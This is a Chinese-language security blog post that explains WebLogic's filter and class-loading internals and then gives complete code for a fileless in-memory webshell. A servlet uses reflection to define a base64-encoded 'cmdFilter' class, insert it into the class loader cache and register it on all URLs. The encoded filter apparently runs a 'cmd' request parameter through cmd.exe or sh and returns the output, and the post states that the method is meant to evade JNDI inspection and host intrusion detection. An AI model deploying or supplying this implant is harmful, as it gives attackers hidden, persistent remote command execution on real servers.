1. 程式人生 > 其它 >Java安全之Weblogic記憶體馬

Java安全之Weblogic記憶體馬

Java安全之Weblogic記憶體馬

0x00 前言

發現網上大部分大部分weblogic工具都是基於RMI繫結例項回顯,但這種方式有個弊端,在Weblogic JNDI樹裡面能將打入的RMI後門檢視得一清二楚。並且這種方式實現上傳Webshell落地檔案容易被Hids監測。

0x01 除錯分析

除錯分析

寫一個filter進行斷點跟蹤上層程式碼。

其實和Tomcat差不多,就是一個Filter鏈

 public void doFilter(ServletRequest req, ServletResponse rsp) throws IOException, ServletException {
        ServletRequestImpl.getOriginalRequest(req).setAsyncSupported(this.asyncSupportedBits.get(this.index));
        Filter f = this.index < this.filters.size() - 1 ? (Filter)this.filters.get(this.index++) : (Filter)this.filters.get(this.index);
        f.doFilter(req, rsp, this);
    }

而在weblogic.servlet.internal.FilterChainImpl

private List<Filter> filters = new LinkedList();

儲存Filter。在上面的doFilter方法裡面遍歷呼叫Filter的doFilter。

再追溯到上層中

weblogic.servlet.internal.WebAppServletContext#wrapRun

try {
                                ServletInvocationContext invocationContext = this.context;
                                invocationContext.initOrRestoreThreadContext(this.req);
                                if (WebAppServletContext.wldfDyeInjectionMethod != null) {
                                    try {
                                        Object[] args = new Object[]{this.req};
                                        WebAppServletContext.wldfDyeInjectionMethod.invoke((Object)null, args);
                                    } catch (Throwable var14) {
                                    }
                                }

                                if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
                                    this.stub.execute(this.req, this.rsp);
                                } else {
                                    FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
                                    if (fc == null) {
                                        this.stub.execute(this.req, this.rsp);
                                    } else {
                                        fc.doFilter(this.req, this.rsp);
                                    }
                                }
FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);

以上方法獲取了一個FilterChain,即Filter鏈。跟蹤該方法。

weblogic.servlet.internal.FilterManager#getFilterChain方法

該方法會獲取FilterChain。

該類中還有動態註冊Filter方法

 void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
        FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
        if (this.loadFilter(fw)) {
            EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
            if (urlPatterns != null) {
                this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
            }

            if (servletNames != null) {
                this.addMappingForServletNames(filterName, types, true, servletNames);
            }

            this.filters.put(filterName, fw);
        }
    }

將引數傳遞進行封裝到FilterWrapper,這裡並沒有傳遞一個class引數進去,傳遞了filterClassName,然後在下面的this.loadFilter(fw)進行載入。

boolean loadFilter(FilterWrapper filterWrapper) throws DeploymentException {
        Filter filter = filterWrapper.getFilter();
        if (filter == null) {
            String filterClassName = filterWrapper.getFilterClassName();

            try {
                filter = (Filter)this.context.createInstance(filterClassName);
                filterWrapper.setFilter((String)null, (Class)null, filter, false);
            } catch (Exception var5) {
                HTTPLogger.logCouldNotLoadFilter(this.context.getLogContext() + " " + filterClassName, var5);
                throw new DeploymentException(var5);
            }
        }

        Throwable e = this.initFilter(filterWrapper.getFilterName(), filterWrapper.getFilter(), filterWrapper.getInitParameters());
        return e == null;
    }

隨即呼叫this.context.createInstance(filterClassName)進行載入。跟進檢視。

weblogic.servlet.internal.WebAppServletContext#createInstance

 Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
        Class<?> clazz = this.classLoader.loadClass(className);
        return this.createInstance(clazz);
    }

使用的是weblogic自己定義的一個classloader,呼叫自定義的loadclass方法。

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized(this.getClassLoadingLock(name)) {
            Class res = (Class)this.cachedClasses.get(name);
            if (res != null) {
                return res;
            } else if (!this.childFirst) {
                return super.loadClass(name, resolve);
            } else if (!name.startsWith("java.") && (!name.startsWith("javax.") || name.startsWith("javax.xml") || name.startsWith("javax.wsdl")) && !name.startsWith("weblogic.") && !name.startsWith("com.sun.org.")) {
                Class var10000;
                try {
                    synchronized(this) {
                        Class clazz = this.findClass(name);
                        if (resolve) {
                            this.resolveClass(clazz);
                        }

                        var10000 = clazz;
                    }
                } catch (ClassNotFoundException var10) {
                    return super.loadClass(name, resolve);
                }

                return var10000;
            } else {
                return super.loadClass(name, resolve);
            }
        }
    }

ChangeAwareClassLoader.loadClass方法會從cache中查詢是否存在待查詢的類,也就是this.cachedClasses這個變數。

再看下來,這個!this.childFirst則是呼叫父類的loadClass方法,則weblogic.utils.classloaders.GenericClassLoader#loadClass

再後面就是以java.javax.javax.xmljavax.wsdlweblogic.com.sun.org.

開頭的類名則使用weblogic.utils.classloaders.ChangeAwareClassLoader#findClass查詢。

這時候只需將惡意filter新增到cachedClasses中,呼叫registerFilter介面新增成功

問題思考

  1. 我們的這幾個request或contenx該怎麼拿到
  2. 新增記憶體馬的話,反射程式碼該怎麼寫。
  3. 怎麼獲取cachedClasses,獲取後直接呼叫put將這個map物件中新增class進去即可。

實現

直接上java-object-searcher工具一把梭哈

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("HttpServletRequest").build());
keys.add(new Keyword.Builder().setField_type("ServletRequestImpl").build());

keys.add(new Keyword.Builder().setField_type("ServletResponseImpl").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一個廣度優先搜尋Thread.currentThread()的搜尋器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//開啟除錯模式
searcher.setIs_debug(true);
//挖掘深度為20
searcher.setMax_search_depth(20);
//設定報告儲存位置
searcher.setReport_save_path("D:\weblogic_ehco_gadget");
searcher.searchObject();
TargetObject = {weblogic.work.ExecuteThread} 
  ---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor} 
   ---> connectionHandler = {weblogic.servlet.internal.HttpConnectionHandler} 
     ---> request = {weblogic.servlet.internal.ServletRequestImpl}

程式碼如下:

Thread thread = Thread.currentThread();
        try {
            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
            workEntry.setAccessible(true);
            Object workentry  = workEntry.get(thread);

            Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
            connectionHandler.setAccessible(true);
            connectionHandler.get(workentry);


        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }

獲取成功,接下來就是獲取context然後將即WebAppServletContext呼叫registerFilter將惡意Filter進行註冊。

Field context = servletRequest.getClass().getDeclaredField("context");
            context.setAccessible(true);
            weblogic.servlet.internal.WebAppServletContext webAppServletContext = (weblogic.servlet.internal.WebAppServletContext)context.get(context);

cachedClasses這個變數在ChangeAwareClassLoader中。前面也提到過在呼叫weblogic.servlet.internalWebAppServletContext#createInstance 中儲存的是ChangeAwareClassLoader,獲取該classLoader變數即可。

最終程式碼:

package com.nice0e3;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.FilterManager;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;

//TargetObject = {weblogic.work.ExecuteThread}
//  ---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor}
//   ---> connectionHandler = {weblogic.servlet.internal.HttpConnectionHandler}
//     ---> request = {weblogic.servlet.internal.ServletRequestImpl}

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.getWriter().write("test!!!");
        Thread thread = Thread.currentThread();
        try {
            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
            workEntry.setAccessible(true);
            Object workentry  = workEntry.get(thread);

            Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
            connectionHandler.setAccessible(true);
            Object http = connectionHandler.get(workentry);

            Field request1 = http.getClass().getDeclaredField("request");
            request1.setAccessible(true);
            ServletRequestImpl servletRequest = (ServletRequestImpl)request1.get(http);

            servletRequest.getResponse().getWriter().write("Success!!!");
            Field context = servletRequest.getClass().getDeclaredField("context");
            context.setAccessible(true);
            WebAppServletContext webAppServletContext = (WebAppServletContext)context.get(servletRequest);

            String encode_class ="yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
            byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            Class filter_class = (Class) defineClass.invoke(webAppServletContext.getClassLoader(), decode_class, 0, decode_class.length);
            Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
            classLoader.setAccessible(true);
            ClassLoader  classLoader1  =(ClassLoader)classLoader.get(webAppServletContext);

            Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
            cachedClasses.setAccessible(true);
            Object cachedClasses_map = cachedClasses.get(classLoader1);
            Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
            get.setAccessible(true);
            if (get.invoke(cachedClasses_map, "cmdFilter") == null) {

                Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
                put.setAccessible(true);
                put.invoke(cachedClasses_map, "cmdFilter", filter_class);

                Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
                filterManager.setAccessible(true);
                Object o = filterManager.get(webAppServletContext);

                Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilter.setAccessible(true);
                registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
            }





        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }

    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.doPost(request, response);
    }
}

把base64加密指令碼也貼一出來

 File file = new File("D:\\Java_Demo\\weblogic_an_shell\\out\\production\\weblogic_an_shell\\cmdFilter.class");
                FileInputStream fileInputStream = new FileInputStream(file);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                byte[] bytes = new byte[4096];
                int len;
                while ((len = fileInputStream.read(bytes))!=-1){
                    byteArrayOutputStream.write(bytes,0,len);
                }
        String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
        System.out.println(encode.replaceAll("\r|\n",""));

裡面還有registerListener方法也可以使用同樣的方法實現Listener記憶體馬。

0x02 結尾

介於網上weblogic記憶體馬文章比較少,自己動手實現了一下。大大小小也遇到不少的坑。